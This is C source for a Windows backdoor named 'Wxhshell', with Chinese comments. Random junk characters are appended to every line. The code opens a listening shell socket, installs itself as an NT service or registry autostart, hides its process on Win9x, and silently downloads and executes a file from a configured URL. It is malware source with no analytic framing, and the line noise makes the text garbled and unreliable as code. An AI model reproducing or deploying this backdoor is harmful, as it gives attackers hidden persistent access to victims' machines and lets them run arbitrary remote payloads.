%(`#A.yaE
PROCNTQSIP NtQueryInformationProcess; ' sey D
K#!X><B'
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X"j>=DEX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `}gdN};
\5~;MI.Sq
HANDLE hProcess; dx@QWTNE
PROCESS_BASIC_INFORMATION pbi; cD2+hp|9
9${Xer'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T1W:>~T5#
if(NULL == hInst ) return 0; *_1[[~Aw
hL!QLiF:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mRwT_(;t
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $w)~xE5;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $"\O;dp7l
mibpG9+d
if (!NtQueryInformationProcess) return 0; @A{m5h
i)8N(HN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *tc{vtuu~^
if(!hProcess) return 0; WDkuB
vX;HC'%n
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K"\MU
_9@ >;]
CloseHandle(hProcess); blahi]{Y9
\~#WY5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fxgU~'
if(hProcess==NULL) return 0; [
]^X`R
D. Kqc
HMODULE hMod; :$g8Zm,y
char procName[255]; Gr: 3{o`
unsigned long cbNeeded; ^:u?ye;
Dx-KMiQ,"(
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u1Ek y/e-
R?pR xY
CloseHandle(hProcess); >$H|:{D
KKEN'-3
if(strstr(procName,"services")) return 1; // 以服务启动 inAAgW#s}
c#lPc>0xb
return 0; // 注册表启动 T5|c$doQ
} L9FHgl?
2r&R"B1`(
// 主模块 A\AT0th
int StartWxhshell(LPSTR lpCmdLine) Kesy2mE
{ \.#p_U5In
SOCKET wsl; :!Ig- +W
BOOL val=TRUE; = 96P7#%
int port=0; .A6lj).:
struct sockaddr_in door; sbo^"&%w
$bsH$N#6T
if(wscfg.ws_autoins) Install(); a{'Z5ail
@hif$
port=atoi(lpCmdLine); #yW\5)
C$9z
if(port<=0) port=wscfg.ws_port; 8K{[2O7i)
}]+xFj9[>
WSADATA data; * R d#{Io7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iY0>lDFm.
aWy]9F&C:
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q@-ovuxi
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %gd(wzco
door.sin_family = AF_INET; '91".c,3?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *7$P]
door.sin_port = htons(port); zt=0o|k
,v9f~qh
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =IjQ4 0W
closesocket(wsl); j1-,Sqi
return 1; r~7:daG*
} L}sx<=8.m
\or G63T:
if(listen(wsl,2) == INVALID_SOCKET) { yx>_scv,T
closesocket(wsl); $uj(G7_
return 1; VDbI-P&c
} bb-q O#E
Wxhshell(wsl); #VVr"*7$
WSACleanup(); bKDA!R2
r0]4=6U
return 0; ds:->+o
&miexSNeF
} {ZsdLF#
1HT_
// 以NT服务方式启动 XfYC7-e9c
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sJG5/w
{ :6{`~=
DWORD status = 0; TsQU6NNE
DWORD specificError = 0xfffffff; XORk!m|
fJAnKUF)
serviceStatus.dwServiceType = SERVICE_WIN32; X"aEJ|y
serviceStatus.dwCurrentState = SERVICE_START_PENDING; CC^E_j T
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %~xGkk"I
serviceStatus.dwWin32ExitCode = 0; gI]GUD-
serviceStatus.dwServiceSpecificExitCode = 0; TX [%(ft
serviceStatus.dwCheckPoint = 0; EZDy+6b
serviceStatus.dwWaitHint = 0; Dw<k3zaW
ANi)q$:{
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 28.~iw
if (hServiceStatusHandle==0) return; 3AcD,,M>>
``U^COD
status = GetLastError(); 7q=G&e7
if (status!=NO_ERROR) BB$oq'
{ MrRaU x6z
serviceStatus.dwCurrentState = SERVICE_STOPPED; PU<PhuMd
serviceStatus.dwCheckPoint = 0; -O!/Jv"{,[
serviceStatus.dwWaitHint = 0; %@"!8Y(j
serviceStatus.dwWin32ExitCode = status; Ro(Zmk\t
serviceStatus.dwServiceSpecificExitCode = specificError; ^wb:C[r!V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;)AfB#:d
return; >slm$~rv
} 5Por "&%
ufV!+$C)is
serviceStatus.dwCurrentState = SERVICE_RUNNING; J%lgR
serviceStatus.dwCheckPoint = 0; aGZi9O7G}
serviceStatus.dwWaitHint = 0; \55VqGyxu9
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (~~w7L
s
} /4\wn?f
cvd\/pG)
// 处理NT服务事件,比如:启动、停止 2i{cQ96
VOID WINAPI NTServiceHandler(DWORD fdwControl) LUX*P7*B
{ D]G)j
switch(fdwControl) 1 rs&74-
{ }Z-Z|G)#
case SERVICE_CONTROL_STOP: .xhK'}l[
serviceStatus.dwWin32ExitCode = 0; "XgmuSQ!
serviceStatus.dwCurrentState = SERVICE_STOPPED; (6l+lru[
serviceStatus.dwCheckPoint = 0; 5{e,L>H<
serviceStatus.dwWaitHint = 0; j^tW
Iz
{ gKz(=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?<Wb@6kh`
} =Z=o#46JY
return; 0|&\'{
case SERVICE_CONTROL_PAUSE: 8mT M$#\
serviceStatus.dwCurrentState = SERVICE_PAUSED; Q6gt+FKU9
break; v3d&*I
case SERVICE_CONTROL_CONTINUE:
HB+|WW t>
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4(6b(]G'#
break; F!zP<A"
case SERVICE_CONTROL_INTERROGATE: Q\ /uKQ
break; ;5-r_D;9
}; (+uj1z^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9,j-Vp!G
} !-`Cp3gqHr
>_OYhgs1w
// 标准应用程序主函数 40E#JF#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jHN
+5=l
{ [/s&K{+c
/sM~Uq?
// 获取操作系统版本 H{J'#
9H
OsIsNt=GetOsVer(); eW5SFY.
GetModuleFileName(NULL,ExeFile,MAX_PATH); pG1WXbqW
Twn4lG4~
// 从命令行安装 y Rp"jcD
if(strpbrk(lpCmdLine,"iI")) Install(); #mize
cdqB,]"
// 下载执行文件 sGh(#A0Pt
if(wscfg.ws_downexe) { Y!iZW
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8k
q5ud
WinExec(wscfg.ws_filenam,SW_HIDE); !Z
VU,b>
} <)+y=m\eJ
ljl^ GFo
if(!OsIsNt) { @36u8pE
// 如果时win9x,隐藏进程并且设置为注册表启动 ARcB'z\r
HideProc(); lL1k.&|5m
StartWxhshell(lpCmdLine); I>L-1o|^
} 4DZ-bt'
else "-@[R
if(StartFromService()) qC
F5~;7
// 以服务方式启动 [Nn`l,
StartServiceCtrlDispatcher(DispatchTable); 2 41*!
else @(r/dZc
// 普通方式启动 `al<(FwGE
StartWxhshell(lpCmdLine); rZ8`sIWQt
ODZ|bN0>
return 0; W9NX=gE4
}